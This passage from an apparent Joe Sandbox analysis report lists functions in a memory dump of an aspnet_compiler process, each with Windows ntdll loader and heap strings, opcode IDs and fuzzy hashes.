                                                        • Instruction Fuzzy Hash: 3D3146B1221105EFD721DB98C885F6A77ECEF49728F148059F501CB6A8DA70ED80CB65
                                                        Function 012A9148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
                                                        • API String ID: 0-1391187441
                                                        • Opcode ID: d9e251b4cc98f604177164fcc3c82ba3a0634168206ea0b270c73029fbf0c5a9
                                                        • Instruction ID: c5165175e0ed80716c57cafa060d4929fcfbc4d331b0ca8d702c5b8b125acd61
                                                        • Opcode Fuzzy Hash: d9e251b4cc98f604177164fcc3c82ba3a0634168206ea0b270c73029fbf0c5a9
                                                        • Instruction Fuzzy Hash: 2031D73662010AEFDB02DB4ACC85FAABBF8EF45724F544069F914A7291D770EDC0CA60
                                                        Function 013320DE Relevance: 5.0, Strings: 4, Instructions: 41COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • LdrpInitializationFailure, xrefs: 013320FA
                                                        • @/, xrefs: 013320EB
                                                        • minkernel\ntdll\ldrinit.c, xrefs: 01332104
                                                        • Process initialization failed with status 0x%08lx, xrefs: 013320F3
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @/$LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 0-1463026045
                                                        • Opcode ID: 6bf7554ee3746c7e7b61ea1b6e88be100577174cad11e9789678c381de329bfb
                                                        • Instruction ID: 0a004f25a31d5d8fbdb8be4ff64b1baee9f0d415c48c562ee74d7fe5254cfe71
                                                        • Opcode Fuzzy Hash: 6bf7554ee3746c7e7b61ea1b6e88be100577174cad11e9789678c381de329bfb
                                                        • Instruction Fuzzy Hash: 3BF0C235A50308BBEB24E64DCD46FAA7B6CFB80B58F500069F6007B685D2B0A900CA95
                                                        Function 012B1460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • HEAP: , xrefs: 012B1596
                                                        • HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 012B1728
                                                        • HEAP[%wZ]: , xrefs: 012B1712
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                        • API String ID: 0-3178619729
                                                        • Opcode ID: 1204e7d040bfba812b1762c473f05342732e7de567e5f53fa971a5819bcf644c
                                                        • Instruction ID: fa55a019858b8135b5165682a4fe2ca3e9c07e110bf08552d60cea8252593300
                                                        • Opcode Fuzzy Hash: 1204e7d040bfba812b1762c473f05342732e7de567e5f53fa971a5819bcf644c
                                                        • Instruction Fuzzy Hash: 8BE11330A242469FDB29CF2CD4A1BBABBF5EF44344F18845DE696CB286D734E950CB50
                                                        Function 012AA197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: FilterFullPath$UseFilter$\??\
                                                        • API String ID: 0-2779062949
                                                        • Opcode ID: 8a3d55d439e51eb306f33783ce77b872742805fa6a3efc4f03fb31a028fc9dd6
                                                        • Instruction ID: de1933b3e408289533602e218dcc4b68329f019adecf8becc954283d863e1a0b
                                                        • Opcode Fuzzy Hash: 8a3d55d439e51eb306f33783ce77b872742805fa6a3efc4f03fb31a028fc9dd6
                                                        • Instruction Fuzzy Hash: 30A16E719216299BDB32DF64CC98BEAB7B8FF44704F1141E9EA08A7250D7359E84CF50
                                                        Function 01337410 Relevance: 4.0, Strings: 3, Instructions: 233COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Objects=%4u$Objects>%4u$VirtualAlloc
                                                        • API String ID: 0-3870751728
                                                        • Opcode ID: de794331c6a87563ca21daf9c934ab05d37d49f499e5a9b4b10f858940b50653
                                                        • Instruction ID: 1854d5acd71c90bb9446a7897d8cd501865f4c2a1fac8301f38437b9c22d01ef
                                                        • Opcode Fuzzy Hash: de794331c6a87563ca21daf9c934ab05d37d49f499e5a9b4b10f858940b50653
                                                        • Instruction Fuzzy Hash: 03911DB0E102199FEB14CF69C490BADBBF1FF88318F148169E905AB791E7759842CF58
                                                        Function 012BB440 Relevance: 4.0, Strings: 3, Instructions: 221COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit${
                                                        • API String ID: 0-373624363
                                                        • Opcode ID: 7d742a876a02fbfa475330d2304e464dbfefc49cf90e9df8a6f5fc65a9b8de87
                                                        • Instruction ID: ff6c53195b9283a803f74edd605aec39e5ad2a68550250d2945163b26076f7c1
                                                        • Opcode Fuzzy Hash: 7d742a876a02fbfa475330d2304e464dbfefc49cf90e9df8a6f5fc65a9b8de87
                                                        • Instruction Fuzzy Hash: 5391E371E2420ACFEB25CF58D491BEDBBB0FF053A4F144195E911AB290D7B89D80CB91
                                                        Function 012E909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: %$&$@
                                                        • API String ID: 0-1537733988
                                                        • Opcode ID: 80857cd2cbe3a11d1d0ef1b2047d1a68f7052ab8d725366b8c9f01b6292a47bf
                                                        • Instruction ID: 841615c4cc9a455e8f57b77a4b0e46ea26dec45fae7b850dcc88bcace28d8c3a
                                                        • Opcode Fuzzy Hash: 80857cd2cbe3a11d1d0ef1b2047d1a68f7052ab8d725366b8c9f01b6292a47bf
                                                        • Instruction Fuzzy Hash: 9471E3705283029FCF10DF18C588A6BBBE9FF8571CF908A1EE59A47291D731D985CB92
                                                        Function 012D15F4 Relevance: 3.9, Strings: 3, Instructions: 166COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • minkernel\ntdll\ldrmap.c, xrefs: 0131A59A
                                                        • LdrpCompleteMapModule, xrefs: 0131A590
                                                        • Could not validate the crypto signature for DLL %wZ, xrefs: 0131A589
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
                                                        • API String ID: 0-1676968949
                                                        • Opcode ID: 6451f3d0880f3776dc4301a54c2c4bbc331e639a382d7343552af74079a66929
                                                        • Instruction ID: b1d6399348325df058e3a73b4b048d4220876d6b786c5841c52c748faa984ef9
                                                        • Opcode Fuzzy Hash: 6451f3d0880f3776dc4301a54c2c4bbc331e639a382d7343552af74079a66929
                                                        • Instruction Fuzzy Hash: 88513830625786DFEB26CB6CC944B667BE4FF40718F180668EB519BAD6D774E810C780
                                                        Function 012A758F Relevance: 3.9, Strings: 3, Instructions: 132COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
                                                        • API String ID: 0-1151232445
                                                        • Opcode ID: c1c5728d00a17172ce947f1db426f24c09cd3a6ecf5a775971eaad24844ae892
                                                        • Instruction ID: b37ecb8e41671b06c4ba8e1dffe2828c6777df99b72a3bd061747f705494ae2c
                                                        • Opcode Fuzzy Hash: c1c5728d00a17172ce947f1db426f24c09cd3a6ecf5a775971eaad24844ae892
                                                        • Instruction Fuzzy Hash: B04137703203818FEF3ACE1CD8A07BA7BE09F01708F98446DD6468B6C6D676D889CB55
                                                        Function 0136C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0136C1C5
                                                        • @, xrefs: 0136C1F1
                                                        • PreferredUILanguages, xrefs: 0136C212
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
                                                        • API String ID: 0-2968386058
                                                        • Opcode ID: d280ffe546f0775e325ae812f5099a7cfe1a2ef7ab8523a187cedf0e7eab04d1
                                                        • Instruction ID: 0bce31f33a1ecf931af704c755b74f324d325918324b663d77835c836a2dbe78
                                                        • Opcode Fuzzy Hash: d280ffe546f0775e325ae812f5099a7cfe1a2ef7ab8523a187cedf0e7eab04d1
                                                        • Instruction Fuzzy Hash: 1C415371E1020EEBDF11DBD8C851FEEBBBCAB14708F14816AEA49B7254D7749A44CB50
                                                        Function 01344144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
                                                        • API String ID: 0-1373925480
                                                        • Opcode ID: ea5ece87cbc81205af7c3c61dd23999dd77b4b078f49b9331c6e0e5c48bc456c
                                                        • Instruction ID: 563ff91ee3d5cc4b3551339f891f245c6a2d0851284a2e08caf4cb51facd21df
                                                        • Opcode Fuzzy Hash: ea5ece87cbc81205af7c3c61dd23999dd77b4b078f49b9331c6e0e5c48bc456c
                                                        • Instruction Fuzzy Hash: 5B411371A10648CBEB26DBE8C840BADBBF8FF55748F14046ADA01FB791DB35A901CB11
                                                        Function 012E33A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RtlCreateActivationContext, xrefs: 013229F9
                                                        • Actx , xrefs: 012E33AC
                                                        • SXS: %s() passed the empty activation context data, xrefs: 013229FE
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
                                                        • API String ID: 0-859632880
                                                        • Opcode ID: b33677659bba51965946d1abd229252f87196e0c66815d4b0adb0b3388b0a107
                                                        • Instruction ID: 3b8e55071ff5e82d48302f2154b0fafef82013add36120ce71ae700a9f6883bc
                                                        • Opcode Fuzzy Hash: b33677659bba51965946d1abd229252f87196e0c66815d4b0adb0b3388b0a107
                                                        • Instruction Fuzzy Hash: 9E3124326202129FEB22EE58C885BA67BE4FB44715F458469EE04DF281CB70E851C790
                                                        Function 0133B594 Relevance: 3.9, Strings: 3, Instructions: 107COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • GlobalFlag, xrefs: 0133B68F
                                                        • \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 0133B632
                                                        • @, xrefs: 0133B670
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
                                                        • API String ID: 0-4192008846
                                                        • Opcode ID: 13a071bfea31bd47869aefebde9e29d09693ed874a46ac2b9936e73665bd73e1
                                                        • Instruction ID: c07d6bbdc8957b86cfef572d063e9cc1a9892ed77962e0fb14c0d92d97927e4a
                                                        • Opcode Fuzzy Hash: 13a071bfea31bd47869aefebde9e29d09693ed874a46ac2b9936e73665bd73e1
                                                        • Instruction Fuzzy Hash: 6F314DB1A00209AFDB10EF99CD80BEEFB78EF44758F140469E605A7151D7749E40DBA4
                                                        Function 012F1270 Relevance: 3.8, Strings: 3, Instructions: 97COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • BuildLabEx, xrefs: 012F130F
                                                        • \Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 012F127B
                                                        • @, xrefs: 012F12A5
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                        • API String ID: 0-3051831665
                                                        • Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                        • Instruction ID: c9769630e9fb1e7165c8805400df535b83a6e7bbe48ded668244aeac99519b1a
                                                        • Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                        • Instruction Fuzzy Hash: A7319E7292052AEBDB12AB95CD45EAEFFBDEB94654F004439EB04A7260E730DA058B50
                                                        Function 012C03E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: ___swprintf_l
                                                        • String ID: #%u
                                                        • API String ID: 48624451-232158463
                                                        • Opcode ID: 02a5edf2ffe0d5127822af719cf21da8ffcaf4f07dbb06b183f33966a051210f
                                                        • Instruction ID: 132a94ae224523312d2af96c51e6d1befd0c00bb136911b3f2ca3ae9c92917ab
                                                        • Opcode Fuzzy Hash: 02a5edf2ffe0d5127822af719cf21da8ffcaf4f07dbb06b183f33966a051210f
                                                        • Instruction Fuzzy Hash: 32714971A1014A9FDB15DFA8C990BAEBBF8FF08704F144169EA05E7255EB34ED01CBA4
                                                        Function 012C52A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$@
                                                        • API String ID: 0-149943524
                                                        • Opcode ID: 2476f35b48367bc5e8ef1b86937bebac7904dd258476058bec02e0b64a6d2043
                                                        • Instruction ID: 098844e27311c1f02ec744b3b74eca6145c72a8b9a38700d5c0a017a588767ce
                                                        • Opcode Fuzzy Hash: 2476f35b48367bc5e8ef1b86937bebac7904dd258476058bec02e0b64a6d2043
                                                        • Instruction Fuzzy Hash: 3D327F706283528FD728CF18C58177EBBE1EF84B44F144A1EEB9597290E774E984CB92
                                                        Function 0137A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: `$`
                                                        • API String ID: 0-197956300
                                                        • Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                        • Instruction ID: d043d83a1ff3ffdb6fa4b52344fb026bc1bdcd4d4ec0a3209ac7697c6afc7186
                                                        • Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                        • Instruction Fuzzy Hash: 28C1CE312043469BEB34CF28C845B6FBBE5AFC4728F084A2DF6969B290D779D505CB81
                                                        Function 012BA2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RtlpResUltimateFallbackInfo Enter, xrefs: 012BA2FB
                                                        • RtlpResUltimateFallbackInfo Exit, xrefs: 012BA309
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
                                                        • API String ID: 0-2876891731
                                                        • Opcode ID: 194478ef848eee39d89ebca00a88a21989b711736c2002520f1b1e0b22ce9367
                                                        • Instruction ID: a62a41a5619e39a1130522efb752e2f03f1777f12a5eb57d7291f8b0ba7d0f08
                                                        • Opcode Fuzzy Hash: 194478ef848eee39d89ebca00a88a21989b711736c2002520f1b1e0b22ce9367
                                                        • Instruction Fuzzy Hash: D741E230A2564ADFDB15CF5DC880BAE7BB4FF84744F248069EA11DB295E3B5D940CB40
                                                        Function 013435BA Relevance: 2.6, Strings: 2, Instructions: 99COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
                                                        • API String ID: 0-118005554
                                                        • Opcode ID: c488931130222f7ac100ca601346de7773dc02b01cb22e65d158db5ac28199ec
                                                        • Instruction ID: d2ec80e350b688210aea27c8716db9a5808939bb8e1f6f5561075d983a71e594
                                                        • Opcode Fuzzy Hash: c488931130222f7ac100ca601346de7773dc02b01cb22e65d158db5ac28199ec
                                                        • Instruction Fuzzy Hash: DD31C1312187529BE311DF28D884B2ABBE4FF95728F140969FE54CB390E738E905CB56
                                                        Function 012E329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: .Local\$@
                                                        • API String ID: 0-380025441
                                                        • Opcode ID: 50bcdaed7eaf56a1cbf19c313c4eeb9eb758d7960b50eb6b994ada8a083a39cb
                                                        • Instruction ID: 4d2b7877f234d6d549980fdca63afa7152805fbfab1aa1ca352117cd8b3bbed5
                                                        • Opcode Fuzzy Hash: 50bcdaed7eaf56a1cbf19c313c4eeb9eb758d7960b50eb6b994ada8a083a39cb
                                                        • Instruction Fuzzy Hash: 58317E72568345AFD321DF28C885E6BBBE8FB85654F84092EFA9583350DA31DD04CBD2
                                                        Function 012EA5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: InitializeThunk
                                                        • String ID: Cleanup Group$Threadpool!
                                                        • API String ID: 2994545307-4008356553
                                                        • Opcode ID: 8df0966a72ba3b167c9efc13c9eb1c72bbb6a2bfc214876bad3a9d965c94c0d1
                                                        • Instruction ID: 707e27c8c609e0b0a23ac376fea6a8b8932b8631a7ec4d564c03e282f29daec6
                                                        • Opcode Fuzzy Hash: 8df0966a72ba3b167c9efc13c9eb1c72bbb6a2bfc214876bad3a9d965c94c0d1
                                                        • Instruction Fuzzy Hash: F801D1B2260700AFD711DF14CE4AB2677E8F795725F058979A658C7190E374D804CB46
                                                        Function 012B7370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 7fe93c8b0cbbd0719687f89db745225af506cf38dae7eb274225098486954722
                                                        • Instruction ID: 5226e3e6fd79e3bb2b4bc11870eb9e77b8c9cdd32a6ebd4b3bfcbb7dc528aee4
                                                        • Opcode Fuzzy Hash: 7fe93c8b0cbbd0719687f89db745225af506cf38dae7eb274225098486954722
                                                        • Instruction Fuzzy Hash: 4CA189B1618342CFC325DF28D480A6ABBF5FBD8744F14492DEA8587391E770E945CB92
                                                        Function 01336420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID: 0-3916222277
                                                        • Opcode ID: 4990fe0e18e717ca7c37e15fe9dbb63717e6c79a8892212a1a92a1d975999e59
                                                        • Instruction ID: cbcc0e92827ec304f4edab70c40af003411c4dc617b9421a6e1cfacd366d881c
                                                        • Opcode Fuzzy Hash: 4990fe0e18e717ca7c37e15fe9dbb63717e6c79a8892212a1a92a1d975999e59
                                                        • Instruction Fuzzy Hash: 1D9171B1A50219BFEB21DF95CC85FAEBBB8EF45B54F114025F700AB191D774AA00CBA4
                                                        Function 0136B256 Relevance: 1.4, Strings: 1, Instructions: 130COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: PreferredUILanguages
                                                        • API String ID: 0-1884656846
                                                        • Opcode ID: 26442604809e87598ccc6144395ece17671b30913818c8ae97804a29724d243e
                                                        • Instruction ID: 232bd649169022dde2ab25794889544ad77c87dfb104e8c571d49ffa722b2d69
                                                        • Opcode Fuzzy Hash: 26442604809e87598ccc6144395ece17671b30913818c8ae97804a29724d243e
                                                        • Instruction Fuzzy Hash: E8419632F00219ABDB11EA98C840AFEF7BDAF44754F158166EE01E7258E670DE40CBA0
                                                        Function 0135705E Relevance: 1.4, Strings: 1, Instructions: 112COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: kLsE
                                                        • API String ID: 0-3058123920
                                                        • Opcode ID: 54a0e674f02c209200a51817b2723b55a7e9f50777444718985ef4eba50cb4d2
                                                        • Instruction ID: 9b32641da9081564d7e69d5ab57454e05ff018b9f6234302e09e599dc128ebe6
                                                        • Opcode Fuzzy Hash: 54a0e674f02c209200a51817b2723b55a7e9f50777444718985ef4eba50cb4d2
                                                        • Instruction Fuzzy Hash: 5E4147B25113524AE731AB78E886FA53FECEB40B6CF9C011CED509B0D9CBB84585C791
                                                        Function 012E7505 Relevance: 1.4, Strings: 1, Instructions: 111COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: #
                                                        • API String ID: 0-1885708031
                                                        • Opcode ID: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
                                                        • Instruction ID: 6b5757b609fb50e575210c2597e2672b601ae1b0baf02b674b8d4147523cbc13
                                                        • Opcode Fuzzy Hash: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
                                                        • Instruction Fuzzy Hash: DC41BC75A20266EBCF21DF88C494BBEB7B5EB84711F40446AEA46A7200DB34D941CBE1
                                                        Function 012B5096 Relevance: 1.3, Strings: 1, Instructions: 71COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Actx
                                                        • API String ID: 0-89312691
                                                        • Opcode ID: 769353767b102150633d6918e045c3db017c7fc566e693f005db46df9257cd6a
                                                        • Instruction ID: 58e825bf9f95a9e56b21059d7b6868cc01ecb807f4eae3bda9ebe55c0edcaa93
                                                        • Opcode Fuzzy Hash: 769353767b102150633d6918e045c3db017c7fc566e693f005db46df9257cd6a
                                                        • Instruction Fuzzy Hash: 7311E9307352038BEB285D1C88D16F67695EB893E4F34892AEA51CF391D6B2DC408780
                                                        Function 0133106E Relevance: 1.3, Strings: 1, Instructions: 62COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: LdrCreateEnclave
                                                        • API String ID: 0-3262589265
                                                        • Opcode ID: 6c9d92ccc9823845df72ca1cbbca41fc44a62abcba4516ecbf174a293919ea5c
                                                        • Instruction ID: a09eb3446135b4989a6650be6cdba66e7237002a012fcb038cfc37819b7f26c8
